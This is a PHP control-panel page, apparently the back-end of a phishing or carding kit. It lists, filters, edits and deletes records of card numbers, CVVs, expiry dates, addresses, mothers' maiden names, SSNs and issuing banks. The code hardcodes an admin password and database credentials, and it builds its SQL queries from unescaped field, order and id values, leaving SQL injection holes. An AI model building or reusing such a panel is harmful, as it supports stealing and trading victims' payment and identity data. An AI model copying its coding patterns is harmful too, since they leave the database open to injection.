<?php session_start();
  if (isset($_GET["order"])) $order = @$_GET["order"];
  if (isset($_GET["type"])) $ordtype = @$_GET["type"];

  if (isset($_POST["filter"])) $filter = @$_POST["filter"];
  if (isset($_POST["filter_field"])) $filterfield = @$_POST["filter_field"];
  $wholeonly = false;
  if (isset($_POST["wholeonly"])) $wholeonly = @$_POST["wholeonly"];

  if (!isset($order) && isset($_SESSION["order"])) $order = $_SESSION["order"];
  if (!isset($ordtype) && isset($_SESSION["type"])) $ordtype = $_SESSION["type"];
  if (!isset($filter) && isset($_SESSION["filter"])) $filter = $_SESSION["filter"];
  if (!isset($filterfield) && isset($_SESSION["filter_field"])) $filterfield = $_SESSION["filter_field"];

?>

<html>
<head>
<title>bros -- cc_details</title>
<meta name="generator" http-equiv="content-type" content="text/html">
<style type="text/css">
  body {
    background-color: #317676;
    color: #FFFFFF;
    font-family: Arial;
    font-size: 12px;
  }
  .bd {
    background-color: #317676;
    color: #FFFFFF;
    font-family: Arial;
    font-size: 12px;
  }
  .tbl {
    background-color: #FFFFFF01;
  }
  a:link { 
    color: #FFE760;
    font-family: Arial;
    font-size: 12px;
  }
  a:active { 
    color: #FFFF00;
    font-family: Arial;
    font-size: 12px;
  }
  a:visited { 
    color: #CCCC39;
    font-family: Arial;
    font-size: 12px;
  }
  .hr {
    background-color: #3A9393;
    color: #FFFFFF;
    font-family: Arial;
    font-size: 12px;
  }
  a.hr:link {
    color: #FFFFFF;
    font-family: Arial;
    font-size: 12px;
  }
  a.hr:active {
    color: #FFFFFF;
    font-family: Arial;
    font-size: 12px;
  }
  a.hr:visited {
    color: #FFFFFF;
    font-family: Arial;
    font-size: 12px;
  }
  .dr {
    background-color: #276262;
    color: #FFE760;
    font-family: Arial;
    font-size: 12px;
  }
  .sr {
    background-color: #367800;
    color: #FFE760;
    font-family: Arial;
    font-size: 12px;
  }
</style>
</head>
<body>
<table class="bd" width="100%"><tr><td class="hr"><h2>Cpanel</h2></td></tr></table>
<table width="100%">
<tr>

<td width="10%" valign="top">
<li><a href="index.php?a=reset">acnt</a>
</td>
<td width="5%">
</td>
<td bgcolor="#e0e0e0">
</td>
<td width="5%">
</td>
<td width="80%" valign="top">
<?php
  if (!login()) exit;
?>
<div style="float: right"><a href="cc_details.php?a=logout">[ Logout ]</a></div>
<br>
<?php
  $conn = connect();
  $showrecs = 20;
  $pagerange = 10;

  $a = @$_GET["a"];
  $recid = @$_GET["recid"];
  $page = @$_GET["page"];
  if (!isset($page)) $page = 1;

  $sql = @$_POST["sql"];

  switch ($sql) {
    case "insert":
      sql_insert();
      break;
    case "update":
      sql_update();
      break;
    case "delete":
      sql_delete();
      break;
  }

  switch ($a) {
    case "add":
      addrec();
      break;
    case "view":
      viewrec($recid);
      break;
    case "edit":
      editrec($recid);
      break;
    case "del":
      deleterec($recid);
      break;
    default:
      select();
      break;
  }

  if (isset($order)) $_SESSION["order"] = $order;
  if (isset($ordtype)) $_SESSION["type"] = $ordtype;
  if (isset($filter)) $_SESSION["filter"] = $filter;
  if (isset($filterfield)) $_SESSION["filter_field"] = $filterfield;
  if (isset($wholeonly)) $_SESSION["wholeonly"] = $wholeonly;

  mysqli_close($conn);
?>
</td></tr></table>
<table class="bd" width="100%"><tr><td class="hr"></td></tr></table>


</body>
</html>

<?php function select()
  {
  global $a;
  global $showrecs;
  global $page;
  global $filter;
  global $filterfield;
  global $wholeonly;
  global $order;
  global $ordtype;


  if ($a == "reset") {
    $filter = "";
    $filterfield = "";
    $wholeonly = "";
    $order = "";
    $ordtype = "";
  }

  $checkstr = "";
  if ($wholeonly) $checkstr = " checked";
  if ($ordtype == "asc") { $ordtypestr = "desc"; } else { $ordtypestr = "asc"; }
  $res = sql_select();
  $count = sql_getrecordcount();
  if ($count % $showrecs != 0) {
    $pagecount = intval($count / $showrecs) + 1;
  }
  else {
    $pagecount = intval($count / $showrecs);
  }
  $startrec = $showrecs * ($page - 1);
  if ($startrec < $count) {mysqli_data_seek($res, $startrec);}
  $reccount = min($showrecs * $page, $count);
?>
<table class="bd" border="0" cellspacing="1" cellpadding="4">
<tr><td>Table: cc_details</td></tr>
<tr><td>Records shown <?php echo $startrec + 1 ?> - <?php echo $reccount ?> of <?php echo $count ?></td></tr>
</table>
<hr size="1" noshade>
<form action="cc_details.php" method="post">
<table class="bd" border="0" cellspacing="1" cellpadding="4">
<tr>
<td><b>Custom Filter</b>&nbsp;</td>
<td><input type="text" name="filter" value="<?php echo $filter ?>"></td>
<td><select name="filter_field">
<option value="">All Fields</option>
<option value="<?php echo "id" ?>"<?php if ($filterfield == "id") { echo "selected"; } ?>><?php echo htmlspecialchars("id") ?></option>
<option value="<?php echo "name_on_card" ?>"<?php if ($filterfield == "name_on_card") { echo "selected"; } ?>><?php echo htmlspecialchars("name_on_card") ?></option>
<option value="<?php echo "card_no" ?>"<?php if ($filterfield == "card_no") { echo "selected"; } ?>><?php echo htmlspecialchars("card_no") ?></option>
<option value="<?php echo "card_type" ?>"<?php if ($filterfield == "card_type") { echo "selected"; } ?>><?php echo htmlspecialchars("card_type") ?></option>
<option value="<?php echo "cvv" ?>"<?php if ($filterfield == "cvv") { echo "selected"; } ?>><?php echo htmlspecialchars("cvv") ?></option>
<option value="<?php echo "exp_month" ?>"<?php if ($filterfield == "exp_month") { echo "selected"; } ?>><?php echo htmlspecialchars("exp_month") ?></option>
<option value="<?php echo "exp_year" ?>"<?php if ($filterfield == "exp_year") { echo "selected"; } ?>><?php echo htmlspecialchars("exp_year") ?></option>
<option value="<?php echo "address" ?>"<?php if ($filterfield == "address") { echo "selected"; } ?>><?php echo htmlspecialchars("address") ?></option>
<option value="<?php echo "maiden_name" ?>"<?php if ($filterfield == "maiden_name") { echo "selected"; } ?>><?php echo htmlspecialchars("maiden_name") ?></option>
<option value="<?php echo "ssn" ?>"<?php if ($filterfield == "ssn") { echo "selected"; } ?>><?php echo htmlspecialchars("ssn") ?></option>
<option value="<?php echo "issuing_bank" ?>"<?php if ($filterfield == "issuing_bank") { echo "selected"; } ?>><?php echo htmlspecialchars("issuing_bank") ?></option>
</select></td>
<td><input type="checkbox" name="wholeonly"<?php echo $checkstr ?>>Whole words only</td>
</td></tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" name="action" value="Apply Filter"></td>
<td><a href="cc_details.php?a=reset">Reset Filter</a></td>
</tr>
</table>
</form>
<hr size="1" noshade>
<?php showpagenav($page, $pagecount); ?>
<br>
<table class="tbl" border="0" cellspacing="1" cellpadding="5"width="100%">
<tr>
<td class="hr">&nbsp;</td>
<td class="hr">&nbsp;</td>
<td class="hr">&nbsp;</td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "id" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("id") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "name_on_card" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("name_on_card") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "card_no" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("card_no") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "card_type" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("card_type") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "cvv" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("cvv") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "exp_month" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("exp_month") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "exp_year" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("exp_year") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "address" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("address") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "maiden_name" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("maiden_name") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "ssn" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("ssn") ?></a></td>
<td class="hr"><a class="hr" href="cc_details.php?order=<?php echo "issuing_bank" ?>&type=<?php echo $ordtypestr ?>"><?php echo htmlspecialchars("issuing_bank") ?></a></td>
</tr>
<?php
  for ($i = $startrec; $i < $reccount; $i++)
  {
    $row = mysqli_fetch_assoc($res);
    $style = "dr";
    if ($i % 2 != 0) {
      $style = "sr";
    }
?>
<tr>
<td class="<?php echo $style ?>"><a href="cc_details.php?a=view&recid=<?php echo $i ?>">View</a></td>
<td class="<?php echo $style ?>"><a href="cc_details.php?a=edit&recid=<?php echo $i ?>">Edit</a></td>
<td class="<?php echo $style ?>"><a href="cc_details.php?a=del&recid=<?php echo $i ?>">Delete</a></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["id"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["name_on_card"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["card_no"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["card_type"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["cvv"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["exp_month"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["exp_year"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["address"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["maiden_name"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["ssn"]) ?></td>
<td class="<?php echo $style ?>"><?php echo htmlspecialchars($row["issuing_bank"]) ?></td>
</tr>
<?php
  }
  mysqli_free_result($res);
?>
</table>
<br>
<?php showpagenav($page, $pagecount); ?>
<?php } ?>

<?php function login()
{
  global $_POST;
  global $_SESSION;

  global $_GET;
  if (isset($_GET["a"]) && ($_GET["a"] == 'logout')) $_SESSION["logged_in"] = false;
  if (!isset($_SESSION["logged_in"])) $_SESSION["logged_in"] = false;
  if (!$_SESSION["logged_in"]) {
    $login = "";
    $password = "";
    if (isset($_POST["login"])) $login = @$_POST["login"];
    if (isset($_POST["password"])) $password = @$_POST["password"];

    if (($login != "") && ($password != "")) {
      if (($login == "admin") && ($password == "admin360")) {
        $_SESSION["logged_in"] = true;
    }
    else {
?>
<p><b><font color="-1">Sorry, the login/password combination you've entered is invalid</font></b></p>
<?php } } }if (isset($_SESSION["logged_in"]) && (!$_SESSION["logged_in"])) { ?>
<form action="cc_details.php" method="post">
<table class="bd" border="0" cellspacing="1" cellpadding="4">
<tr>
<td>Login</td>
<td><input type="text" name="login" value="<?php echo $login ?>"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password" value="<?php echo $password ?>"></td>
</tr>
<tr>
<td><input type="submit" name="action" value="Login"></td>
</tr>
</table>
</form>
<?php
  }
  if (!isset($_SESSION["logged_in"])) $_SESSION["logged_in"] = false;
  return $_SESSION["logged_in"];
} ?>

<?php function showrow($row, $recid)
  {
?>
<table class="tbl" border="0" cellspacing="1" cellpadding="5"width="50%">
<tr>
<td class="hr"><?php echo htmlspecialchars("id")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["id"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("name_on_card")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["name_on_card"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("card_no")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["card_no"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("card_type")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["card_type"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("cvv")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["cvv"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("exp_month")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["exp_month"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("exp_year")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["exp_year"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("address")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["address"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("maiden_name")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["maiden_name"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("ssn")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["ssn"]) ?></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("issuing_bank")."&nbsp;" ?></td>
<td class="dr"><?php echo htmlspecialchars($row["issuing_bank"]) ?></td>
</tr>
</table>
<?php } ?>

<?php function showroweditor($row, $iseditmode)
  {
  global $conn;
?>
<table class="tbl" border="0" cellspacing="1" cellpadding="5"width="50%">
<tr>
<td class="hr"><?php echo htmlspecialchars("id")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="id" value="<?php echo str_replace('"', '&quot;', trim($row["id"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("name_on_card")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="name_on_card" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["name_on_card"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("card_no")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="card_no" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["card_no"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("card_type")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="card_type" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["card_type"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("cvv")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="cvv" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["cvv"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("exp_month")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="exp_month" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["exp_month"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("exp_year")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="exp_year" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["exp_year"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("address")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="address" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["address"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("maiden_name")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="maiden_name" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["maiden_name"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("ssn")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="ssn" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["ssn"])) ?>"></td>
</tr>
<tr>
<td class="hr"><?php echo htmlspecialchars("issuing_bank")."&nbsp;" ?></td>
<td class="dr"><input type="text" name="issuing_bank" maxlength="30" value="<?php echo str_replace('"', '&quot;', trim($row["issuing_bank"])) ?>"></td>
</tr>
</table>
<?php } ?>

<?php function showpagenav($page, $pagecount)
{
?>
<table class="bd" border="0" cellspacing="1" cellpadding="4">
<tr>
<td><a href="cc_details.php?a=add">Add Record</a>&nbsp;</td>
<?php if ($page > 1) { ?>
<td><a href="cc_details.php?page=<?php echo $page - 1 ?>">&lt;&lt;&nbsp;Prev</a>&nbsp;</td>
<?php } ?>
<?php
  global $pagerange;

  if ($pagecount > 1) {

  if ($pagecount % $pagerange != 0) {
    $rangecount = intval($pagecount / $pagerange) + 1;
  }
  else {
    $rangecount = intval($pagecount / $pagerange);
  }
  for ($i = 1; $i < $rangecount + 1; $i++) {
    $startpage = (($i - 1) * $pagerange) + 1;
    $count = min($i * $pagerange, $pagecount);

    if ((($page >= $startpage) && ($page <= ($i * $pagerange)))) {
      for ($j = $startpage; $j < $count + 1; $j++) {
        if ($j == $page) {
?>
<td><b><?php echo $j ?></b></td>
<?php } else { ?>
<td><a href="cc_details.php?page=<?php echo $j ?>"><?php echo $j ?></a></td>
<?php } } } else { ?>
<td><a href="cc_details.php?page=<?php echo $startpage ?>"><?php echo $startpage ."..." .$count ?></a></td>
<?php } } } ?>
<?php if ($page < $pagecount) { ?>
<td>&nbsp;<a href="cc_details.php?page=<?php echo $page + 1 ?>">Next&nbsp;&gt;&gt;</a>&nbsp;</td>
<?php } ?>
</tr>
</table>
<?php } ?>

<?php function showrecnav($a, $recid, $count)
{
?>
<table class="bd" border="0" cellspacing="1" cellpadding="4">
<tr>
<td><a href="cc_details.php">Index Page</a></td>
<?php if ($recid > 0) { ?>
<td><a href="cc_details.php?a=<?php echo $a ?>&recid=<?php echo $recid - 1 ?>">Prior Record</a></td>
<?php } if ($recid < $count - 1) { ?>
<td><a href="cc_details.php?a=<?php echo $a ?>&recid=<?php echo $recid + 1 ?>">Next Record</a></td>
<?php } ?>
</tr>
</table>
<hr size="1" noshade>
<?php } ?>

<?php function addrec()
{
?>
<table class="bd" border="0" cellspacing="1" cellpadding="4">
<tr>
<td><a href="cc_details.php">Index Page</a></td>
</tr>
</table>
<hr size="1" noshade>
<form enctype="multipart/form-data" action="cc_details.php" method="post">
<p><input type="hidden" name="sql" value="insert"></p>
<?php
$row = array(
  "id" => "",
  "name_on_card" => "",
  "card_no" => "",
  "card_type" => "",
  "cvv" => "",
  "exp_month" => "",
  "exp_year" => "",
  "address" => "",
  "maiden_name" => "",
  "ssn" => "",
  "issuing_bank" => "");
showroweditor($row, false);
?>
<p><input type="submit" name="action" value="Post"></p>
</form>
<?php } ?>

<?php function viewrec($recid)
{
  $res = sql_select();
  $count = sql_getrecordcount();
  mysqli_data_seek($res, $recid);
  $row = mysqli_fetch_assoc($res);
  showrecnav("view", $recid, $count);
?>
<br>
<?php showrow($row, $recid) ?>
<br>
<hr size="1" noshade>
<table class="bd" border="0" cellspacing="1" cellpadding="4">
<tr>
<td><a href="cc_details.php?a=add">Add Record</a></td>
<td><a href="cc_details.php?a=edit&recid=<?php echo $recid ?>">Edit Record</a></td>
<td><a href="cc_details.php?a=del&recid=<?php echo $recid ?>">Delete Record</a></td>
</tr>
</table>
<?php
  mysqli_free_result($res);
} ?>

<?php function editrec($recid)
{
  $res = sql_select();
  $count = sql_getrecordcount();
  mysqli_data_seek($res, $recid);
  $row = mysqli_fetch_assoc($res,MYSQLI_ASSOC);
  showrecnav("edit", $recid, $count);
?>
<br>
<form enctype="multipart/form-data" action="cc_details.php" method="post">
<input type="hidden" name="sql" value="update">
<input type="hidden" name="xid" value="<?php echo $row["id"] ?>">
<?php showroweditor($row, true); ?>
<p><input type="submit" name="action" value="Post"></p>
</form>
<?php
  mysqli_free_result($res);
} ?>

<?php function deleterec($recid)
{
  $res = sql_select();
  $count = sql_getrecordcount();
  mysqli_data_seek($res, $recid);
  $row = mysqli_fetch_assoc($res);
  showrecnav("del", $recid, $count);
?>
<br>
<form action="cc_details.php" method="post">
<input type="hidden" name="sql" value="delete">
<input type="hidden" name="xid" value="<?php echo $row["id"] ?>">
<?php showrow($row, $recid) ?>
<p><input type="submit" name="action" value="Confirm"></p>
</form>
<?php
  mysqli_free_result($res);
} ?>

<?php function connect()
{
  $conn = mysqli_connect("localhost", "conte2ck_admin", "current","conte2ck_bros");
  //mysql_select_db("conte2ck_bros");
  return $conn;
}

function sqlvalue($val, $quote)
{
  if ($quote)
    $tmp = sqlstr($val);
  else
    $tmp = $val;
  if ($tmp == "")
    $tmp = "NULL";
  elseif ($quote)
    $tmp = "'".$tmp."'";
  return $tmp;
}

function sqlstr($val)
{
  return str_replace("'", "''", $val);
}

function sql_select()
{
  global $conn;
  global $order;
  global $ordtype;
  global $filter;
  global $filterfield;
  global $wholeonly;

  $filterstr = sqlstr($filter);
  if (!$wholeonly && isset($wholeonly) && $filterstr!='') $filterstr = "%" .$filterstr ."%";
  $sql = "SELECT `id`, `name_on_card`, `card_no`, `card_type`, `cvv`, `exp_month`, `exp_year`, `address`, `maiden_name`, `ssn`, `issuing_bank` FROM `cc_details`";
  if (isset($filterstr) && $filterstr!='' && isset($filterfield) && $filterfield!='') {
    $sql .= " where " .sqlstr($filterfield) ." like '" .$filterstr ."'";
  } elseif (isset($filterstr) && $filterstr!='') {
    $sql .= " where (`id` like '" .$filterstr ."') or (`name_on_card` like '" .$filterstr ."') or (`card_no` like '" .$filterstr ."') or (`card_type` like '" .$filterstr ."') or (`cvv` like '" .$filterstr ."') or (`exp_month` like '" .$filterstr ."') or (`exp_year` like '" .$filterstr ."') or (`address` like '" .$filterstr ."') or (`maiden_name` like '" .$filterstr ."') or (`ssn` like '" .$filterstr ."') or (`issuing_bank` like '" .$filterstr ."')";
  }
  if (isset($order) && $order!='') $sql .= " order by `" .sqlstr($order) ."`";
  if (isset($ordtype) && $ordtype!='') $sql .= " " .sqlstr($ordtype);
  $res = mysqli_query($conn,$sql) or die(mysqli_error($conn));
  return $res;
}

function sql_getrecordcount()
{
  global $conn;
  global $order;
  global $ordtype;
  global $filter;
  global $filterfield;
  global $wholeonly;

  $filterstr = sqlstr($filter);
  if (!$wholeonly && isset($wholeonly) && $filterstr!='') $filterstr = "%" .$filterstr ."%";
  $sql = "SELECT COUNT(*) FROM `cc_details`";
  if (isset($filterstr) && $filterstr!='' && isset($filterfield) && $filterfield!='') {
    $sql .= " where " .sqlstr($filterfield) ." like '" .$filterstr ."'";
  } elseif (isset($filterstr) && $filterstr!='') {
    $sql .= " where (`id` like '" .$filterstr ."') or (`name_on_card` like '" .$filterstr ."') or (`card_no` like '" .$filterstr ."') or (`card_type` like '" .$filterstr ."') or (`cvv` like '" .$filterstr ."') or (`exp_month` like '" .$filterstr ."') or (`exp_year` like '" .$filterstr ."') or (`address` like '" .$filterstr ."') or (`maiden_name` like '" .$filterstr ."') or (`ssn` like '" .$filterstr ."') or (`issuing_bank` like '" .$filterstr ."')";
  }
  $res = mysqli_query($conn,$sql ) or die(mysqli_error($conn));
  $row = mysqli_fetch_assoc($res);
  reset($row);
  return current($row);
}

function sql_insert()
{
  global $conn;
  global $_POST;

  $sql = "insert into `cc_details` (`id`, `name_on_card`, `card_no`, `card_type`, `cvv`, `exp_month`, `exp_year`, `address`, `maiden_name`, `ssn`, `issuing_bank`) values (" .sqlvalue(@$_POST["id"], false).", " .sqlvalue(@$_POST["name_on_card"], true).", " .sqlvalue(@$_POST["card_no"], true).", " .sqlvalue(@$_POST["card_type"], true).", " .sqlvalue(@$_POST["cvv"], true).", " .sqlvalue(@$_POST["exp_month"], true).", " .sqlvalue(@$_POST["exp_year"], true).", " .sqlvalue(@$_POST["address"], true).", " .sqlvalue(@$_POST["maiden_name"], true).", " .sqlvalue(@$_POST["ssn"], true).", " .sqlvalue(@$_POST["issuing_bank"], true).")";
  mysqli_query($conn, $sql) or die(mysqli_error($conn));
}

function sql_update()
{
  global $conn;
  global $_POST;

  $sql = "update `cc_details` set `id`=" .sqlvalue(@$_POST["id"], false).", `name_on_card`=" .sqlvalue(@$_POST["name_on_card"], true).", `card_no`=" .sqlvalue(@$_POST["card_no"], true).", `card_type`=" .sqlvalue(@$_POST["card_type"], true).", `cvv`=" .sqlvalue(@$_POST["cvv"], true).", `exp_month`=" .sqlvalue(@$_POST["exp_month"], true).", `exp_year`=" .sqlvalue(@$_POST["exp_year"], true).", `address`=" .sqlvalue(@$_POST["address"], true).", `maiden_name`=" .sqlvalue(@$_POST["maiden_name"], true).", `ssn`=" .sqlvalue(@$_POST["ssn"], true).", `issuing_bank`=" .sqlvalue(@$_POST["issuing_bank"], true) ." where " .primarykeycondition();
  mysqli_query($conn, $sql) or die(mysqli_error($conn));
}

function sql_delete()
{
  global $conn;

  $sql = "delete from `cc_details` where " .primarykeycondition();
  mysqli_query($conn, $sql) or die(mysqli_error($conn));
}
function primarykeycondition()
{
  global $_POST;
  $pk = "";
  $pk .= "(`id`";
  if (@$_POST["xid"] == "") {
    $pk .= " IS NULL";
  }else{
  $pk .= " = " .sqlvalue(@$_POST["xid"], false);
  };
  $pk .= ")";
  return $pk;
}
 ?>
